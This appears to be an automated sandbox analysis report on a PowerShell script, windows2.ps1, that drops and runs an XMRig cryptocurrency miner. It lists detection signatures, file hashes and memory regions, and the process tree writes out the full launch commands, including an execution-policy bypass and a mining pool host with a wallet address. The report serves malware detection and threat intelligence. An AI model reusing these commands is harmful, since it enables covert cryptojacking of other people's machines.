Resubmissions

10-07-2024 04:07

240710-epxfksxfpd 10

10-07-2024 03:42

240710-d9fg5avcnk 10

Analysis

  • max time kernel
    398s
  • max time network
    1030s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    10-07-2024 03:42

General

  • Target

    windows2.ps1

  • Size

    360B

  • MD5

    b202a44d871ae771b494a80dae045915

  • SHA1

    271bfccf0e9cd41f5a0588ae52a5569c6288bf98

  • SHA256

    75c08eecb058da4e362aa09a5b24306283b6fd666158708428a226a90f21dc92

  • SHA512

    d439dcaac9a8bf0e2e0bc1f4a3a6830831bbda782f84a4f45d7ae0a1e1f7a2a2f5cb3b17954c89533d1e53fbb69b306faa6687c3f6202fecf3913052e4d01a13

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\windows2.ps1
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4240
    • C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.21.3\xmrig.exe" -a randomx --url randomx.rplant.xyz:17020 --tls --user amyKwvpbY46ahNDWHEitrJNdqxLK2NXnSV1WBAhhigmUaDDGFv4BY5LSL7ZbeuDM4vch5HFUAvDYxgTjqZTY75kq7q5dMBY9CN.2 --cpu-priority 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2640

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0kiuojbh.khf.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.21.3\xmrig.exe

    Filesize

    6.1MB

    MD5

    c0f8959614ae06561216158d78a787e5

    SHA1

    73167d1fd0cee1c96a6505606d21cbfe4369eb00

    SHA256

    e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

    SHA512

    a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

  • memory/2640-96-0x0000015B65440000-0x0000015B65460000-memory.dmp

    Filesize

    128KB

  • memory/2640-95-0x0000015B65210000-0x0000015B65230000-memory.dmp

    Filesize

    128KB

  • memory/2640-93-0x0000015B65440000-0x0000015B65460000-memory.dmp

    Filesize

    128KB

  • memory/2640-92-0x0000015B65210000-0x0000015B65230000-memory.dmp

    Filesize

    128KB

  • memory/2640-89-0x0000015B64DD0000-0x0000015B64DF0000-memory.dmp

    Filesize

    128KB

  • memory/2640-88-0x0000015AD2C50000-0x0000015AD2C70000-memory.dmp

    Filesize

    128KB

  • memory/4240-61-0x000001BDE4840000-0x000001BDE484A000-memory.dmp

    Filesize

    40KB

  • memory/4240-2-0x00007FFE28E63000-0x00007FFE28E64000-memory.dmp

    Filesize

    4KB

  • memory/4240-48-0x000001BDE4850000-0x000001BDE4862000-memory.dmp

    Filesize

    72KB

  • memory/4240-25-0x00007FFE28E60000-0x00007FFE2984C000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-90-0x00007FFE28E63000-0x00007FFE28E64000-memory.dmp

    Filesize

    4KB

  • memory/4240-91-0x00007FFE28E60000-0x00007FFE2984C000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-9-0x000001BDE4870000-0x000001BDE48E6000-memory.dmp

    Filesize

    472KB

  • memory/4240-10-0x00007FFE28E60000-0x00007FFE2984C000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-94-0x00007FFE28E60000-0x00007FFE2984C000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-6-0x00007FFE28E60000-0x00007FFE2984C000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-5-0x000001BDE45B0000-0x000001BDE45D2000-memory.dmp

    Filesize

    136KB